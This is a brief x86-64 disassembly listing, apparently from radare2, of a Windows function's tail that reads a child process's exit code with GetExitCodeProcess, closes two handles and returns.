mov rcx, qword [rbp - 0x90]
lea rax, [rbp - 0x94]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
call rax
mov rax, qword [rbp - 0x90]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x88]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp - 0x94]
add rsp, 0xf0
pop rbp
ret